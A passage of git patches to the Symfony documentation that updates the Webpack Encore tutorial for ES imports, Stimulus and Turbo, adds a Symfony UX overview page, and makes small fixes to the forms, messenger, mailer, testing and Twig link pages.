-CSS and one JS file, organized into an ``assets/`` directory:
+After :doc:`installing Encore </frontend/encore/installation>`, your app already
+has a few files, organized into an ``assets/`` directory:
 
-* ``assets/js/app.js``
-* ``assets/css/app.css``
+* ``assets/app.js``
+* ``assets/bootstrap.js``
+* ``assets/controllers.json``
+* ``assets/styles/app.css``
+* ``assets/controllers/hello_controller.js``
 
 With Encore, think of your ``app.js`` file like a standalone JavaScript
 application: it will *require* all of the dependencies it needs (e.g. jQuery or React),
@@ -14,18 +17,19 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
 
 .. code-block:: javascript
 
-    // assets/js/app.js
+    // assets/app.js
     // ...
 
-    import '../css/app.css';
+    import './styles/app.css';
 
-    // var $ = require('jquery');
-
-Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
+Encore's job (via Webpack) is simple: to read and follow *all* of the ``import``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
 your app needs. Encore can do a lot more: minify files, pre-process Sass/LESS,
 support React, Vue.js, etc.
 
+The other files - ``bootstrap.js``, ``controllers.json`` and ``hello_controller.js``
+relate to a topic you'll learn about soon: `Stimulus & Symfony UX`_.
+
 Configuring Encore/Webpack
 --------------------------
 
@@ -35,7 +39,7 @@ of your project. It already holds the basic config you need:
 .. code-block:: javascript
 
     // webpack.config.js
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     Encore
         // directory where compiled assets will be stored
@@ -43,14 +47,15 @@ of your project. It already holds the basic config you need:
         // public path used by the web server to access the output path
         .setPublicPath('/build')
 
-        .addEntry('app', './assets/js/app.js')
+        .addEntry('app', './assets/app.js')
 
-        // ...
+        // uncomment this if you want use jQuery in the following example
+        .autoProvidejQuery()
     ;
 
     // ...
 
-The *key* part is ``addEntry()``: this tells Encore to load the ``assets/js/app.js``
+The *key* part is ``addEntry()``: this tells Encore to load the ``assets/app.js``
 file and follow *all* of the ``require()`` statements. It will then package everything
 together and - thanks to the first ``app`` argument - output final ``app.js`` and
 ``app.css`` files into the ``public/build`` directory.
@@ -61,27 +66,24 @@ To build the assets, run the following if you use the Yarn package manager:
 
 .. code-block:: terminal
 
-    # compile assets once
-    $ yarn encore dev
+    # compile assets and automatically re-compile when files change
+    $ yarn watch
 
-    # or, recompile assets automatically when files change
-    $ yarn encore dev --watch
-
-    # on deploy, create a production build
-    $ yarn encore production
-
-If you use the npm package manager, run the following commands instead:
+    # if using npm, use "npm run" and then any of these commands
+    $ npm run watch
 
-.. code-block:: terminal
+    # or, run a dev-server that can sometimes update your code without refreshing the page
+    $ yarn dev-server
 
     # compile assets once
-    $ npm run dev
-
-    # or, recompile assets automatically when files change
-    $ npm run watch
+    $ yarn dev
 
     # on deploy, create a production build
-    $ npm run build
+    $ yarn build
+
+All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
+in your ``package.json`` file. If you use the npm package manager, replace ``yarn``
+with ``npm run``.
 
 .. note::
 
@@ -93,8 +95,15 @@ Congrats! You now have three new files:
 * ``public/build/app.css`` (holds all the CSS for your "app" entry)
 * ``public/build/runtime.js`` (a file that helps Webpack do its job)
 
-Next, include these in your base layout file. Two Twig helpers from WebpackEncoreBundle
-can do most of the work for you:
+.. note::
+
+    In reality, you probably have a few *more* files in ``public/build``. Some of
+    these are due to :doc:`code splitting </frontend/encore/split-chunks>`, an optimization
+    that helps performance, but doesn't affect how things work. Others help Encore
+    do its work.
+
+Next, to include these in your base layout, you can leverage two Twig helpers from
+WebpackEncoreBundle:
 
 .. code-block:: html+twig
 
@@ -128,15 +137,17 @@ can do most of the work for you:
 .. _encore-entrypointsjson-simple-description:
 
 That's it! When you refresh your page, all of the JavaScript from
-``assets/js/app.js`` - as well as any other JavaScript files it included - will
+``assets/app.js`` - as well as any other JavaScript files it included - will
 be executed. All the CSS files that were required will also be displayed.
 
 The ``encore_entry_link_tags()`` and ``encore_entry_script_tags()`` functions
-read from an ``entrypoints.json`` file that's generated by Encore to know the exact
+read from a ``public/build/entrypoints.json`` file that's generated by Encore to know the exact
 filename(s) to render. This file is *especially* useful because you can
 :doc:`enable versioning </frontend/encore/versioning>` or
 :doc:`point assets to a CDN </frontend/encore/cdn>` without making *any* changes to your
 template: the paths in ``entrypoints.json`` will always be the final, correct paths.
+And if you use :doc:`splitEntryChunks() </frontend/encore/split-chunks>` (where Webpack splits the output into even
+more files), all the necessary ``script`` and ``link`` tags will render automatically.
 
 If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
 point to the final, built file directly. ``entrypoints.json`` is only required for
@@ -154,13 +165,13 @@ some optional features.
 Requiring JavaScript Modules
 ----------------------------
 
-Webpack is a module bundler, which means that you can ``require`` other JavaScript
-files. First, create a file that exports a function:
+Webpack is a module bundler, which means that you can ``import`` other JavaScript
+files. First, create a file that exports a function, class or any other value:
 
 .. code-block:: javascript
 
-    // assets/js/greet.js
-    module.exports = function(name) {
+    // assets/greet.js
+    export default function(name) {
         return `Yo yo ${name} - welcome to Encore!`;
     };
 
@@ -174,19 +185,19 @@ We'll use jQuery to print this message on the page. Install it via:
     # if you use the npm package manager
     $ npm install jquery --save-dev
 
-Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
+Great! Use ``import`` to import ``jquery`` and ``greet.js``:
 
 .. code-block:: diff
 
-      // assets/js/app.js
+      // assets/app.js
       // ...
 
     + // loads the jquery package from node_modules
-    + var $ = require('jquery');
+    + import $ from 'jquery';
 
     + // import the function from greet.js (the .js extension is optional)
     + // ./ (or ../) means to look for a local file
-    + var greet = require('./greet');
+    + import greet from './greet';
 
     + $(document).ready(function() {
     +     $('body').prepend('<h1>'+greet('jill')+'</h1>');
@@ -196,55 +207,132 @@ That's it! If you previously ran ``encore dev --watch``, your final, built files
 have already been updated: jQuery and ``greet.js`` have been automatically
 added to the output file (``app.js``). Refresh to see the message!
 
-The import and export Statements
---------------------------------
+Stimulus & Symfony UX
+---------------------
 
-Instead of using ``require()`` and ``module.exports`` like shown above, JavaScript
-provides an alternate syntax based on the `ECMAScript 6 modules`_ that includes
-the ability to use dynamic imports.
+As simple as the above example is, instead of building your application inside of
+``app.js``, we recommend `Stimulus`_: a small JavaScript framework that makes it
+easy to attach behavior to HTML. It's powerful, and you will love it! Symfony
+even provides packages to add more features to Stimulus. These are called the
+`Symfony UX Packages`_.
 
-To export values using the alternate syntax, use ``export``:
+If you followed the setup instructions, you should already have Stimulus installed
+and ready to go! In fact, that's the purpose of the ``assets/bootstrap.js`` file:
+to initialize Stimulus and automatically load any "controllers" from the
+``assets/controllers/`` directory.
 
-.. code-block:: diff
+Let's look at a simple Stimulus example. In a Twig template, suppose you have:
 
-      // assets/js/greet.js
-    - module.exports = function(name) {
-    + export default function(name) {
-          return `Yo yo ${name} - welcome to Encore!`;
-      };
+.. code-block:: twig
 
-To import values, use ``import``:
+    <div {{ stimulus_controller('say-hello') }}>
+        <input type="text" {{ stimulus_target('say-hello', 'name') }}>
 
-.. code-block:: diff
+        <button {{ stimulus_action('say-hello', 'greet') }}>
+            Greet
+        </button>
 
-      // assets/js/app.js
-    - require('../css/app.css');
-    + import '../css/app.css';
+        <div {{ stimulus_target('say-hello', 'output') }}></div>
+    </div>
 
-    - var $ = require('jquery');
-    + import $ from 'jquery';
+The ``stimulus_controller('say-hello')`` renders a ``data-controller="say-hello"``
+attribute. Whenever this element appears on the page, Stimulus will automatically
+look for and initialize a controller called ``say-hello-controller.js``. Create
+that in your ``assets/controllers/`` directory:
 
-    - var greet = require('./greet');
-    + import greet from './greet';
+.. code-block:: javascript
+
+    // assets/controllers/say-hello-controller.js
+    import { Controller } from '@hotwired/stimulus';
+
+    export default class extends Controller {
+        static targets = ['name', 'output']
+
+        greet() {
+          this.outputTarget.textContent = `Hello, ${this.nameTarget.value}!`
+        }
+    }
+
+The result? When you click the "Greet" button, it prints your name! And if
+more ``{{ stimulus_controller('say-hello') }}`` elements are added to the page - like
+via Ajax - those will instantly work: no need to reinitialize anything.
+
+Ready to learn more about Stimulus?
+
+* Read the `Stimulus Documentation`_
+* Find out more about how the :doc:`Symfony UX system works </frontend/ux>`
+* See a :ref:`list of all Symfony UX packages <ux-packages-list>`
+* Learn more about the `Symfony Stimulus Bridge`_ - including the superpower of
+  making your controllers load lazily!
+
+  .. admonition:: Screencast
+      :class: screencast
+
+      Or check out the `Stimulus Screencast`_ on SymfonyCasts.
+
+Turbo: Lightning Fast Single-Page-Application Experience
+--------------------------------------------------------
+
+Symfony comes with tight integration with another JavaScript library called `Turbo`_.
+Turbo automatically transforms all link clicks and form submits into an Ajax call,
+with zero (or nearly zero) changes to your Symfony code! The result? You get the
+speed of a single page application without having to write any JavaScript.
+
+To learn more, check out the `symfony/ux-turbo`_ package.
+
+.. admonition:: Screencast
+    :class: screencast
+
+    Or check out the `Turbo Screencast`_ on SymfonyCasts.
+
+Page-Specific JavaScript or CSS
+-------------------------------
+
+So far, you only have one final JavaScript file: ``app.js``. Encore may be split
+into multiple files for performance (see :doc:`split chunks </frontend/encore/split-chunks>`),
+but all of that code is still downloaded on every page.
+
+What if you have some extra JavaScript or CSS (e.g. for performance) that you only
+want to include on *certain* pages?
+
+Lazy Controllers
+~~~~~~~~~~~~~~~~
+
+One very nice solution if you're using Stimulus is to leverage `lazy controllers`_.
+To activate this on a controller, add a special ``stimulusFetch: 'lazy'`` above
+your controller class:
+
+.. code-block:: javascript
+
+    // assets/controllers/lazy-example-controller.js
+    import { Controller } from '@hotwired/stimulus';
+
+    /* stimulusFetch: 'lazy' */
+    export default class extends Controller {
+        // ...
+    }
+
+That's it! This controller's code - and any modules that it imports - will be
+split to *separate* files by Encore. Then, those files won't be downloaded until
+the moment a matching element (e.g. ``<div data-controller="lazy-example">``)
+appears on the page!
 
 .. _multiple-javascript-entries:
 
-Page-Specific JavaScript or CSS (Multiple Entries)
---------------------------------------------------
+Multiple Entries
+~~~~~~~~~~~~~~~~
 
-So far, you only have one final JavaScript file: ``app.js``. For small applications
-or SPA's (Single Page Applications), that might be fine! However, as your app grows,
-you may want to have page-specific JavaScript or CSS (e.g. checkout, account,
+Another option is to create page-specific JavaScript or CSS (e.g. checkout, account,
 etc.). To handle this, create a new "entry" JavaScript file for each page:
 
 .. code-block:: javascript
 
-    // assets/js/checkout.js
+    // assets/checkout.js
     // custom code for your checkout page
 
 .. code-block:: javascript
 
-    // assets/js/account.js
+    // assets/account.js
     // custom code for your account page
 
 Next, use ``addEntry()`` to tell Webpack to read these two new files when it builds:
@@ -254,9 +342,9 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
       // webpack.config.js
       Encore
           // ...
-          .addEntry('app', './assets/js/app.js')
-    +     .addEntry('checkout', './assets/js/checkout.js')
-    +     .addEntry('account', './assets/js/account.js')
+          .addEntry('app', './assets/app.js')
+    +     .addEntry('checkout', './assets/checkout.js')
+    +     .addEntry('account', './assets/account.js')
           // ...
 
 And because you just changed the ``webpack.config.js`` file, make sure to stop
@@ -265,7 +353,7 @@ and restart Encore:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn encore dev --watch
+    $ yarn watch
 
     # if you use the npm package manager
     $ npm run watch
@@ -294,10 +382,9 @@ you need them:
 
 Now, the checkout page will contain all the JavaScript and CSS for the ``app`` entry
 (because this is included in ``base.html.twig`` and there is the ``{{ parent() }}`` call)
-*and* your ``checkout`` entry.
-
-See :doc:`/frontend/encore/page-specific-assets` for more details. To avoid duplicating
-the same code in different entry files, see :doc:`/frontend/encore/split-chunks`.
+*and* your ``checkout`` entry. With this, JavaScript & CSS needed for every page
+can live inside the ``app`` entry and code needed only for the checkout page can
+live inside ``checkout``.
 
 Using Sass/LESS/Stylus
 ----------------------
@@ -309,9 +396,9 @@ file to ``app.scss`` and update the ``import`` statement:
 
 .. code-block:: diff
 
-      // assets/js/app.js
-    - import '../css/app.css';
-    + import '../css/app.scss';
+      // assets/app.js
+    - import './styles/app.css';
+    + import './styles/app.scss';
 
 Then, tell Encore to enable the Sass preprocessor:
 
@@ -365,7 +452,7 @@ If you want to only compile a CSS file, that's possible via ``addStyleEntry()``:
     Encore
         // ...
 
-        .addStyleEntry('some_page', './assets/css/some_page.css')
+        .addStyleEntry('some_page', './assets/styles/some_page.css')
     ;
 
 This will output a new ``some_page.css``.
@@ -374,8 +461,15 @@ Keep Going!
 -----------
 
 Encore supports many more features! For a full list of what you can do, see
-`Encore's index.js file`_. Or, go back to :ref:`list of Encore articles <encore-toc>`.
+`Encore's index.js file`_. Or, go back to :ref:`list of Frontend articles <encore-toc>`.
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
-.. _`ECMAScript 6 modules`: https://hacks.mozilla.org/2015/08/es6-in-depth-modules/
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
+.. _`Stimulus`: https://stimulus.hotwired.dev/
+.. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
+.. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
+.. _`Turbo`: https://turbo.hotwired.dev/
+.. _`symfony/ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
+.. _`Stimulus Screencast`: https://symfonycasts.com/screencast/stimulus
+.. _`Turbo Screencast`: https://symfonycasts.com/screencast/turbo
+.. _`lazy controllers`: https://github.com/symfony/stimulus-bridge#lazy-controllers
diff --git a/frontend/ux.rst b/frontend/ux.rst
new file mode 100644
index 00000000000..41bc1d582a3
--- /dev/null
+++ b/frontend/ux.rst
@@ -0,0 +1,145 @@
+.. index::
+   single: Symfony UX
+
+The Symfony UX Initiative & Packages
+====================================
+
+Symfony UX is an initiative and set of libraries to seamlessly
+integrate JavaScript tools into your application. For example,
+want to render a chart with `Chart.js`_? Use `UX Chart.js`_ to build the
+chart in PHP. The JavaScript is handled for you automatically.
+
+Behind the scenes, the UX packages leverage `Stimulus`_: a small, but
+powerful library for binding JavaScript functionality to elements on
+your page.
+
+Installing Symfony UX
+---------------------
+
+Before you install any specific UX library, make sure you've installed
+:doc:`Webpack Encore </frontend/encore/installation>`.
+
+If you already have it installed, make sure you have an
+``assets/bootstrap.js`` file (this initializes Stimulus & the UX packages),
+an ``assets/controllers.json`` file (this controls the 3rd party UX packages that
+you've installed) and ``.enableStimulusBridge('./assets/controllers.json')`` in
+your ``webpack.config.js`` file. If these are missing, try upgrading the
+``symfony/webpack-encore-bundle`` Flex recipe. See
+:ref:`Upgrading Flex Recipes <updating-flex-recipes>`.
+
+.. _ux-packages-list:
+
+All Symfony UX Packages
+-----------------------
+
+.. include:: /frontend/_ux-libraries.rst.inc
+
+Stimulus Tools around the World
+-------------------------------
+
+Because Stimulus is used by developers outside of Symfony, many tools
+exist beyond the UX packages:
+
+* `stimulus-use`_: Add composable behaviors to your Stimulus controllers, like
+  debouncing, detecting outside clicks and many other things.
+
+* `stimulus-components`_ A large number of pre-made Stimulus controllers, like for
+  Copying to clipboard, Sortable, Popover (similar to tooltips) and much more.
+
+How does Symfony UX Work?
+-------------------------
+
+When you install a UX PHP package, Symfony Flex will automatically update your
+``package.json`` file to point to a "virtual package" that lives inside the
+PHP package. For example:
+
+.. code-block:: json
+
+    {
+        "devDependencies": {
+            "...": "",
+            "@symfony/ux-chartjs": "file:vendor/symfony/ux-chartjs/Resources/assets"
+        }
+    }
+
+This gives you a *real* Node package (e.g. ``@symfony/ux-chartjs``) that, instead
+of being downloaded, points directly to files that already live in your ``vendor/``
+directory.
+
+The Flex recipe will usually also update your ``assets/controllers.json`` file
+to add a new Stimulus controller to your app. For example:
+
+.. code-block:: json
+
+    {
+        "controllers": {
+            "@symfony/ux-chartjs": {
+                "chart": {
+                    "enabled": true,
+                    "fetch": "eager"
+                }
+            }
+        },
+        "entrypoints": []
+    }
+
+Finally, your ``assets/bootstrap.js`` file - working with the `@symfony/stimulus-bridge`_ -
+package will automatically register:
+
+* All files in ``assets/controllers/`` as Stimulus controllers;
+* And all controllers described in ``assets/controllers.json`` as Stimulus controllers.
+
+The end result: you install a package, and you instantly have a Stimulus
+controller available! In this example, it's called
+``@symfony/ux-chartjs/chart``. Well, technically, it will be called
+``symfony--ux-chartjs--chart``. However, you can pass the original name
+into the ``{{ stimulus_controller() }}`` function from WebpackEncoreBundle, and
+it will normalize it:
+
+.. code-block:: twig
+
+    <div {{ stimulus_controller('@symfony/ux-chartjs/chart') }}>
+
+    <!-- will render as: -->
+    <div data-controller="symfony--ux-chartjs--chart">
+
+Lazy Controllers
+----------------
+
+By default, all of your controllers (i.e. files in ``assets/controllers/`` +
+controllers in ``assets/controllers.json``) will be downloaded and loaded on
+every page.
+
+Sometimes you may have a controller that is only used on some pages, or maybe
+only in your admin area. In that case, you can make the controller "lazy". When
+a controller is lazy, it is *not* downloaded on initial page load. Instead, as
+soon as an element appears on the page matching the controller (e.g.
+``<div data-controller="hello">``), the controller - and anything else it imports -
+will be lazyily-loaded via Ajax.
+
+To make one of your custom controllers lazy, add a special comment on top:
+
+.. code-block:: javascript
+
+    import { Controller } from '@hotwired/stimulus';
+
+    /* stimulusFetch: 'lazy' */
+    export default class extends Controller {
+        // ...
+    }
+
+To make a third-party controller lazy, in ``assets/controllers.json``, set
+``fetch`` to ``lazy``.
+
+More Advanced Setup
+-------------------
+
+To learn about more advanced options, read about `@symfony/stimulus-bridge`_,
+the Node package that is responsible for a lot of the magic.
+
+.. _`Chart.js`: https://www.chartjs.org/
+.. _`UX Chart.js`: https://symfony.com/bundles/ux-chartjs/current/index.html
+.. _`Stimulus`: https://stimulus.hotwired.dev/
+.. _`@symfony/stimulus-bridge`: https://github.com/symfony/stimulus-bridge
+.. _`stimulus-use`: https://stimulus-use.github.io/stimulus-use
+.. _`stimulus-components`: https://stimulus-components.netlify.app/
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 4036f2f7dce..c90c6430e70 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -41,7 +41,23 @@ Other Fields
 
 * :doc:`CheckboxType </reference/forms/types/checkbox>`
 * :doc:`FileType </reference/forms/types/file>`
+* `DropzoneType`_
 * :doc:`RadioType </reference/forms/types/radio>`
+* `CropperType`_ (to crop images with JavaScript)
+
+Symfony UX Fields
+~~~~~~~~~~~~~~~~~
+
+These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
+
+* `CropperType`_ (using Cropper.js)
+* `DropzoneType`_
+
+UID Fields
+~~~~~~~~~~
+
+* :doc:`UuidType </reference/forms/types/uuid>`
+* :doc:`UlidType </reference/forms/types/ulid>`
 
 Field Groups
 ~~~~~~~~~~~~
@@ -65,3 +81,6 @@ Base Fields
 ~~~~~~~~~~~
 
 * :doc:`FormType </reference/forms/types/form>`
+
+.. _`CropperType`: https://github.com/symfony/ux/tree/2.x/src/Cropperjs#readme
+.. _`DropzoneType`: https://github.com/symfony/ux/tree/2.x/src/Dropzone#readme
diff --git a/templates.rst b/templates.rst
index 5a72407d582..d8a25e5de72 100644
--- a/templates.rst
+++ b/templates.rst
@@ -324,11 +324,6 @@ being used and generating the correct paths accordingly.
     :ref:`version_format <reference-assets-version-format>`, and
     :ref:`json_manifest_path <reference-assets-json-manifest-path>` configuration options.
 
-.. tip::
-
-    If you'd like help packaging, versioning and minifying your JavaScript and
-    CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`.
-
 If you need absolute URLs for assets, use the ``absolute_url()`` Twig function
 as follows:
 
@@ -338,6 +333,12 @@ as follows:
 
     <link rel="shortcut icon" href="{{ absolute_url('favicon.png') }}">
 
+Build, Versioning & More Advanced CSS, JavaScript and Image Handling
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+For help building, versioning and minifying your JavaScript and
+CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`.
+
 .. _twig-app-variable:
 
 The App Global Variable
@@ -384,6 +385,22 @@ gives you access to these variables:
 In addition to the global ``app`` variable injected by Symfony, you can also
 :doc:`inject variables automatically to all Twig templates </templating/global_variables>`.
 
+Twig Components
+---------------
+
+Twig components are an alternative way to render templates, where each template
+is bound to a "component class". This makes it easier to render and re-use
+small template "units" - like an alert, markup for a modal, or a category sidebar.
+
+For more information, see `UX Twig Component`_.
+
+Twig components also have one other superpower: they can become "live", where
+they automatically update (via Ajax) as the user interacts with them. For example,
+when your user types into a box, your Twig component will re-render via Ajax to
+show a list of results!
+
+To learn more, see `UX Live Component`_.
+
 .. _templates-rendering:
 
 Rendering Templates
@@ -1151,3 +1168,5 @@ Learn more
 .. _`Twig template inheritance`: https://twig.symfony.com/doc/2.x/tags/extends.html
 .. _`Twig block tag`: https://twig.symfony.com/doc/2.x/tags/block.html
 .. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html

From c6d8d262a8be12bec03c6f02e3805f3b574ba616 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 31 Jan 2022 13:52:33 -0500
Subject: [PATCH 3000/7107] Removing extra links from rebasing

---
 reference/forms/types/map.rst.inc | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index c90c6430e70..19fa4c7897c 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -41,9 +41,7 @@ Other Fields
 
 * :doc:`CheckboxType </reference/forms/types/checkbox>`
 * :doc:`FileType </reference/forms/types/file>`
-* `DropzoneType`_
 * :doc:`RadioType </reference/forms/types/radio>`
-* `CropperType`_ (to crop images with JavaScript)
 
 Symfony UX Fields
 ~~~~~~~~~~~~~~~~~
@@ -53,12 +51,6 @@ These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
 * `CropperType`_ (using Cropper.js)
 * `DropzoneType`_
 
-UID Fields
-~~~~~~~~~~
-
-* :doc:`UuidType </reference/forms/types/uuid>`
-* :doc:`UlidType </reference/forms/types/ulid>`
-
 Field Groups
 ~~~~~~~~~~~~
 

From 081a826bf3b60d48a8bf20f77450aec44b7ed433 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Tue, 1 Feb 2022 10:04:24 +0100
Subject: [PATCH 3001/7107] Fix link of the package chart js for Symfony UX

---
 frontend/_ux-libraries.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
index 76e6ea7f5bb..3355d4926e4 100644
--- a/frontend/_ux-libraries.rst.inc
+++ b/frontend/_ux-libraries.rst.inc
@@ -10,7 +10,7 @@
 .. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
 .. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
 .. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
-.. _`ux-chartjs`: https://symfony.com/bundles/ux-chart-js/current/index.html
+.. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
 .. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
 .. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
 .. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html

From 428a0dfbe172a4df8dbb68b2b51c0825e1c63a6b Mon Sep 17 00:00:00 2001
From: "Phil E. Taylor" <phil@phil-taylor.com>
Date: Tue, 1 Feb 2022 19:07:45 +0000
Subject: [PATCH 3002/7107] Correct PHP Code block for messenger resetOnMessage

---
 messenger.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index bbdb25f8775..798dad06636 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -768,10 +768,7 @@ reset the service container between two messages:
         return static function (FrameworkConfig $framework) {
             $messenger = $framework->messenger();
 
-            $messenger->transport('async')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
-                ->resetOnMessage(true)
-            ;
+            $messenger->resetOnMessage(true);
         };
 
 .. versionadded:: 5.4

From 17d27363ec858c41b4382ee63031e8828ad1f1c6 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 2 Feb 2022 08:27:37 -0500
Subject: [PATCH 3003/7107] [Mailer] add Amazon SES to list of transports that
 support metadata

---
 mailer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 178024bda87..acc98f8cb11 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1266,6 +1266,10 @@ The following transports only support tags:
 
 * OhMySMTP
 
+The following transports only support metadata:
+
+* Amazon SES
+
 Draft Emails
 ------------
 

From 6667e41ae309870bdad58e38420d80e95cb2e584 Mon Sep 17 00:00:00 2001
From: fridde <f@hehl.se>
Date: Fri, 4 Feb 2022 10:31:35 +0100
Subject: [PATCH 3004/7107] Removed redundancy in package requirements

Acoording to [symfony/testpack](https://github.com/symfony/test-pack/blob/main/composer.json) the ```phpunit/phpunit``` package is explictly included.

There might be a point in keeping both for clarity, but this redundancy created more confusion than necessary.
---
 testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 43b3b8c631f..863fde4f15d 100644
--- a/testing.rst
+++ b/testing.rst
@@ -15,13 +15,13 @@ Symfony integrates with an independent library called `PHPUnit`_ to give
 you a rich testing framework. This article won't cover PHPUnit itself,
 which has its own excellent `documentation`_.
 
-Before creating your first test, install ``phpunit/phpunit`` and the
-``symfony/test-pack``, which installs some other packages providing useful
+Before creating your first test, install ``phpunit/phpunit`` by installing
+``symfony/test-pack``, which also installs some other packages providing useful
 Symfony test utilities:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit symfony/test-pack
+    $ composer require --dev symfony/test-pack
 
 After the library is installed, try running PHPUnit:
 

From 50b6978fd2c389d5c11df75b2d25b96519bab79c Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Tue, 1 Feb 2022 15:01:14 +0100
Subject: [PATCH 3005/7107] Fix Markdown code syntax instead of RST

---
 frontend/encore/installation.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index eb4b82e8b45..bcd59f8395e 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -188,12 +188,12 @@ a system that you'll learn about soon:
 And finally, create an ``assets/controllers.json`` file, which also fits into
 the Stimulus system:
 
-```json
-{
-    "controllers": [],
-    "entrypoints": []
-}
-```
+.. code-block:: json
+
+    {
+        "controllers": [],
+        "entrypoints": []
+    }
 
 You'll customize and learn more about these files in :doc:`/frontend/encore/simple-example`.
 When you execute Encore, it will ask you to install a few more dependencies based

From 53f91fe49616d9837bd8986f9ba1fd6b3b6b4956 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 3 Feb 2022 14:55:15 +0330
Subject: [PATCH 3006/7107] Update Twig links and change symfony/var-dumper
 package installation command

---
 components/form.rst                      |  2 +-
 contributing/documentation/standards.rst |  2 +-
 form/form_customization.rst              |  2 +-
 form/form_themes.rst                     |  4 ++--
 reference/configuration/twig.rst         |  2 +-
 reference/dic_tags.rst                   |  4 ++--
 reference/twig_reference.rst             |  2 +-
 templates.rst                            | 20 ++++++++++----------
 templating/twig_extension.rst            |  6 +++---
 9 files changed, 22 insertions(+), 22 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 64551b72041..93befdf3d1d 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -784,4 +784,4 @@ Learn more
     /form/*
 
 .. _Twig: https://twig.symfony.com
-.. _`Twig Configuration`: https://twig.symfony.com/doc/2.x/intro.html
+.. _`Twig Configuration`: https://twig.symfony.com/doc/3.x/intro.html
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index dc43258052e..8e266f68cab 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -191,7 +191,7 @@ In addition, documentation follows these rules:
   * trivial
 
 .. _`the Sphinx documentation`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#literal-blocks
-.. _`Twig Coding Standards`: https://twig.symfony.com/doc/2.x/coding_standards.html
+.. _`Twig Coding Standards`: https://twig.symfony.com/doc/3.x/coding_standards.html
 .. _`reserved by the IANA`: https://tools.ietf.org/html/rfc2606#section-3
 .. _`American English`: https://en.wikipedia.org/wiki/American_English
 .. _`American English Oxford Dictionary`: https://www.lexico.com/definition/american_english
diff --git a/form/form_customization.rst b/form/form_customization.rst
index b5c5a23f841..7c1fc159404 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -443,4 +443,4 @@ Variable                Usage
     variables a particular field has, find the source code for the form
     field (and its parent fields) and look at the above two functions.
 
-.. _`the Twig documentation`: https://twig.symfony.com/doc/2.x/templates.html#test-operator
+.. _`the Twig documentation`: https://twig.symfony.com/doc/3.x/templates.html#test-operator
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 1b605e75b49..d048a7c6472 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -656,5 +656,5 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`Foundation CSS framework`: https://get.foundation/
